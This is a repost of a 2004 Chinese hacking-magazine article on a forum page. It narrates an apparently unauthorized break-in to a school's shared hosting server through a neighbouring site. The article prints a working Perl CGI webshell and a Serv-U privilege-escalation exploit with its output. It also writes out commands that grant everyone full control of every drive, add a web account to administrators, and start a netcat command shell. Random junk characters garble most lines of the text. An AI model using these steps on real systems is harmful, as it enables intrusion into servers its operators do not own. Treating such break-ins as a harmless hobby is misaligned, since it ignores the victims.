找回密码
 立即注册
查看: 2798|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击 5 r* ]3 M0 H* p' E4 j  T& I
本文作者:angel: E# W! f6 J$ H6 L, F7 V
文章性质:原创
, {; [1 Z8 _" t! f发布日期:2004-11-09 7 ^0 @9 s) p3 ?) ?) r
注意:
# Y1 g4 Q# V: ]; m9 P( P7 U& m' _本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。6 B- E" r. m# d+ W
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
  X. F+ r- Q) P; o7 \. N
; I% _- G- `7 ^# g  ^  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 # G0 ^/ Q' V5 ^

2 A: ~# q$ V) P6 E4 [  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 # `7 N- ]) M+ i- y9 |" W- s

; D! f! M  g" M6 Y- f  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
9 R$ {9 k/ G' O0 |7 e
- e. z* Q: \$ R  ~! I  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 0 k9 N  ~! j1 q0 u$ S' n' m1 G
% V) {2 [+ I2 H& f8 i$ u. |4 `1 q6 ], ?
  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 / S/ Q4 R0 w9 O, P. _
" f8 g9 U. G/ X4 c* k
  没有目的的跳转目录着……
4 p3 A, i/ Y1 J2 ]  v3 ~: H
  g% L' {  j' r2 K8 q( v; ?- |  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
- o1 J$ b$ z2 ^# ^
- N$ R/ j+ [  G" W  结束了吗?不,我试着 FTP 一下: ! |$ E7 C) z& y3 w# n; x* J

9 s6 v/ |& ~) n* T& a; m( ?Microsoft Windows 2000 [Version 5.00.2195]7 y" y3 T% ~6 q4 M9 ]- z) _
(C) 版权所有 1985-2000 Microsoft Corp.
9 j; B/ ?2 Y# h: s- k/ H9 n
8 i( p8 u* {/ M* G* b# JC:\Documents and Settings\Administrator>ftp www.school.com$ V" G. n: A( ~# @& U, l
Connected to www. school.com. ) m; m$ [2 H6 \7 b! U$ S8 I3 j
220 Welcome to FTP Server...
- M$ S$ C# ~8 p! C3 k% \* uUser (www.bjtrq.com:(none)): : V. C: H* i( i$ `7 M/ O
331 User name okay, need password. + Y  e! t9 c& a- U2 A$ Z8 M
Password:
' U9 J8 _' @" M2 d8 P) d; ^530 Not logged in. - S" ?% {  l; `3 z; |
Login failed.
( S6 G" |/ }1 m; S6 Zftp> bye
2 I7 A% |# }; }6 |+ f4 w( H& f- X221 Goodbye! ! O% i' Q& b( \
% Y5 _3 A$ s- F

3 e; P( e/ E% Y( W3 l+ Y0 s0 V, u/ m  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
& H$ J7 b8 z6 s  ]6 x0 k% [+ W, R# f  K9 y% ?& m! l, s9 R- J
  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
7 U3 o3 ~3 Q/ l! b- N5 y) X$ J" M0 B7 U1 B% U; z5 ]
Application Data
6 S' c" D) J) U3 cDocuments- k1 C5 M/ e4 Y; [. G( C' l
DRM
' c! Y7 A& E& ?* lFavorites
( `1 W0 X. K3 P# J" ?Templates2 g$ C* w' X1 X5 @; s/ ~, B% ?* b, R
「开始」菜单3 a7 U. [) Z" j2 U$ }. a9 A+ }
桌面/ E+ }* {: y  T0 z
/ H* X  s( w7 v- Q/ W, Q4 v

. [$ ~$ f+ u9 B5 I- i  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
/ t; L1 O: o5 F0 Z2 V( e2 |) ?2 H, g' @4 U; r3 X
ActiveState ActivePerl 5.8
2 z4 T/ Q5 e' P2 g4 Z+ vAdministrative Tools
$ c" \$ F& E2 {) O0 b' lDeerfield.com3 L! }1 L( w6 z7 \( F8 T# @1 H
DTemp: s, s/ e) S1 D" T. b/ o
IPSentry
: M8 E1 |" u( Z& HMBM 5
- c2 j4 D1 o+ X9 d- e  vNetMeter6 w  u6 O7 U6 k: b0 Q
Network ICE
7 r  s7 z% k- y. E# m/ vPersits Software AspEmail  Y( b7 |% ~4 ]- w  P5 d" q+ J! P
Persits Software AspJpeg
% o7 t" ~6 p4 `9 W$ E2 J% }/ A. NServ-U FTP Server
5 _$ y, @( k* r; t% I* \Symantec Client Security
, F+ `$ r& B' e$ pWindows 优化大师
2 r" m' X4 X+ m) G. X, L% hWinRAR
+ A" R; A; z0 ~7 T& v1 t启动
8 m! b: c- ~  G  a, n管理工具
2 e; k1 g! y( n6 A+ U. K# _/ Z附件6 f$ V. ^4 c/ X  ]) r
' B+ v& g4 \* q  H( {2 o
5 ~% s5 x1 H& F
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
, N1 u' ^- r# v/ A/ ~$ L
% c& f- G# k0 ^0 X- Y3 N% }  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
4 G4 m  ^: w( R
  i; c; J" {% |$ u, e4 |% `User281=angel|1|0
! K' Q7 s9 G" p: x9 |/ ` 2 Q7 b2 ^6 J8 Q* U9 r+ k
) r4 x. c) b  h
  然后加上
/ B3 S. L. j2 d# p9 Z6 p* V, f1 |; ]& y8 ]
[USER=angel|1]
, m* |4 s5 K3 B1 r" @& KPassword=ng98F85379EA68DBF97BAADCA99B69B805* O  F+ h! C1 C, i6 B: |
HomeDir=D:\websites- K7 q+ R: i# a1 b  ^
RelPaths=1
8 ^) @* K6 C5 K" c1 A# @TimeOut=600" {0 R8 q( ]8 }* ]9 h
Maintenance=System
: B! w! z7 t: O; t7 g/ WAccess1=D:\websites|RWAMELCDP, \5 ?' q- d4 |; a/ |/ D/ t8 Z
SKEYValues=* z' ?3 H. D8 L4 j+ w
; h6 Q" c8 L/ Y: p4 L( S7 n+ S
7 ~! ~  B& B3 e/ P) u- ~
  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… 7 H2 q& f0 \3 q, U( k' X

9 R% |: [; a# `8 {% `  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 - J7 B* @6 V$ G4 a) q, x4 y" W
! T* d' S$ S+ @3 D- v
  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 ; @8 M5 [7 ]3 V6 R' s5 d0 a

1 ~  j" o) d0 |9 ^" w$ j0 N# z  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
2 F- i/ V& ^; V* S6 p' C
* h8 P7 r. _& W6 g1 T#!/usr/bin/perl
& A. s( r5 E; A; V* |binmode(STDOUT);
: A# k- k1 ^' L1 R. Psyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);  Z( m, G0 K+ @5 P. T9 g
$_ = $ENV{QUERY_STRING};% P! |' y4 s, _7 x
s/%20/ /ig;
* Z" S" w& J# a; |s/%2f/\//ig;
5 k5 c" M6 o" A$execthis = $_;
. x6 R: i, d4 ^' f( \- lsyswrite(STDOUT, "<HTML><PRE>\r\n", 13);
/ p, o8 D4 h) K. N/ p) h9 H! q' nopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";) L: v8 B( t( v
system($execthis);  ]/ k1 S$ d" N+ H+ F
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);/ ^6 o5 M6 `0 ]6 Y
close(STDERR);% G0 j$ N: _* j* M6 m% ]
close(STDOUT);2 S/ g; r: ~8 L! Z8 e0 s9 x2 J
exit;
, ?6 T  B6 I( }: V. ?# j3 i * P9 Y; }) M! I! \4 v% F. P
/ X+ T. F7 ?/ X$ D) ~: n( Z
  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! ) x$ x4 j- h# g. R; }! K, b) T, R. f  P

8 C+ i- B( H$ d( w5 ^  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: . ]2 C7 z( v5 e0 e3 a& h

# G7 J: v) w  q' [& Y( ahttp://anyhost//cmd.pl?d:\user\bin\su.exe . ~, i' ~4 J* s# D

% M) X6 }# w+ |/ b# k& Z- V! k. S( n( u* S3 _. M
  返回: + B( @" U' i. [- c. D% \

; U0 m, {" \+ d8 p. J6 V( uServ-u >3.x Local Exploit by xiaolu / g/ V9 [3 ^% c& x
) Y4 _8 O$ v9 x1 S
USAGE: serv-u.exe "command"
. r: ~& w# u/ X  Z. m/ M# T
5 f: I' J2 v  P, `( aExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
/ [9 k2 S4 e5 U! h9 [
3 C$ y. h: f0 f' H) \" L! i+ {; `/ k
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
# O1 g" I3 Z+ o$ F8 X$ C+ H' k0 p/ e# X7 y+ l! t
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
) m* r3 J; y& I0 ~" `* G0 ?# C9 v
3 d; X6 L) T" f( Z0 ]2 hhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" 3 }  f8 H6 Q% H8 F3 `

* ]: l2 n) [. Mhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
. q& P# E) ]4 o* o/ z  D% H0 u: P+ ~" y/ t  z# n; E
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" + E) b& K5 o6 M: U: P" m% Y
% e$ \! l/ Q* }  T; ^
8 }1 h8 I+ P- T: y8 h
  返回下面的信息,就表示成功了!!! , y6 F2 x6 R7 U! O/ {% r/ A3 e+ D0 o
0 v" I/ {+ F' A; T
Serv-u >3.x Local Exploit by xiaolu 7 P' n$ k+ c, o3 a8 F

7 y4 t% M6 B1 F+ e  w/ R3 V<220 Serv-U FTP Server v5.2 for WinSock ready... & M% ?' N7 i! @8 y2 M

6 t/ @/ o1 E6 u" o. L# \>USER LocalAdministrator
9 [! `: o# J% H8 R& o, M0 H: m; ?: w. d$ x
<331 User name okay, need password. , [0 N2 l" t; R8 y

# V; i* L& J) G, I- _******************************************************
( u4 B4 m0 O0 K* T6 u/ ?7 Z$ L$ Y
1 R8 x3 b. g. {6 ~. H3 G>PASS #l@$ak#.lk;0@P   h  P) S  x8 r" t
( [9 Y3 B& m5 S# e2 {$ V6 \
<230 User logged in, proceed. : V; A' m$ q) Y% }( I
; ?9 {- M  p6 S
****************************************************** ; I8 c' L( v0 R5 I  {& V' ^

6 [1 ]: l/ T# R$ X9 I% |>SITE MAINTENANCE + D1 P3 v% v# L" T, L& p
7 u+ B2 A% \9 ]3 L& a5 N6 t0 H
******************************************************
3 E8 _  Z, r/ u2 x2 ?" m& ?' d6 J8 ?/ Y6 V) m/ `4 Q" Y
[+] Creating New Domain...
2 r* M. F' o' O7 s5 y5 Y4 e4 Z4 N
<200-DomainID=2
3 q( X4 {' q' H3 }' H/ E8 \$ @- q2 h# |0 b5 Z1 V5 f9 M
<220 Domain settings saved 5 m; |. O7 c. r  ]1 p: K
9 B1 g! {3 r7 O" A, ~
******************************************************
. K7 i9 ?1 f5 I$ v" j! R. {8 P, E% @% O
[+] Domain xl:2 Created
  t9 A% L4 ~) x6 [, ~' L( W5 Y
# K  C7 Y0 L2 m1 Q) `[+] Creating Evil User
3 ?5 ~# ]& p2 B0 W9 B# q2 l. ?0 {1 Z% K% `
<200-User=xl . h/ |, z: ^9 b* Z

" J/ I- h- P+ W: k8 L200 User settings saved % w# G0 X9 @6 A+ I" u  r

; K$ }4 Z& ~6 q4 c/ A" m3 G****************************************************** % p- ?2 z/ C3 E/ f* |
. T" X, b8 a$ s0 R8 I3 q, T
[+] Now Exploiting...
; p' l" \7 B( F9 g- X' f" o5 x( H+ Y
>USER xl   H3 D+ d3 }! t0 @& n" ^9 {

8 a) N( b8 v$ i/ l1 Z$ c) m! j; I0 n( O<331 User name okay, need password.
2 b7 J' g  I. @7 z) u7 o. o$ O. S" e6 k3 Q9 j, p9 A6 {
******************************************************
8 G( P  M. c; N0 s: h2 Z; H: g# ?0 ]# ?# ?
>PASS 111111
, w+ V" f* B' q( R0 i" d3 B
4 {$ s! z/ r* C- d; D<230 User logged in, proceed. " a7 s; N5 q- s$ @) e

& P6 A- c/ X" M# Z. V' |******************************************************
3 W0 a& j7 \6 J" Y9 D, x2 s/ }* G+ l
[+] Now Executing: cacls.exe c: /E /T /G everyone:F ! `- l, _% f- W9 `
! d% n2 O6 [  i+ |. ^( |7 A
<220 Domain deleted ) k. e+ P  T8 E4 F6 ~3 q$ u$ _
1 s5 w8 w. e8 S% J& s/ h- A
****************************************************** 0 S  m8 H& A" I, p. k7 @

- }( h  Z) S. _6 M9 K2 [! `
+ G* _! W+ J3 u) _3 g7 p( ^  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: 8 x4 m( K2 D" P9 p: H- R

3 y4 o" j5 M2 _* x5 Hhttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
/ Z; e  Y7 ^7 @" ~, h. c 7 X% c9 z9 H" M1 r
7 C' }: t8 U& E3 V) U+ N0 m$ S: O
  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 & p& E4 G% u2 P5 I. p7 O, Z

) q% u) b! A5 b  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
; T: V/ d, X+ `* `
5 l% ]. u2 v: _0 d! X( w  ) H/ Z* e& a- m  b1 R
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表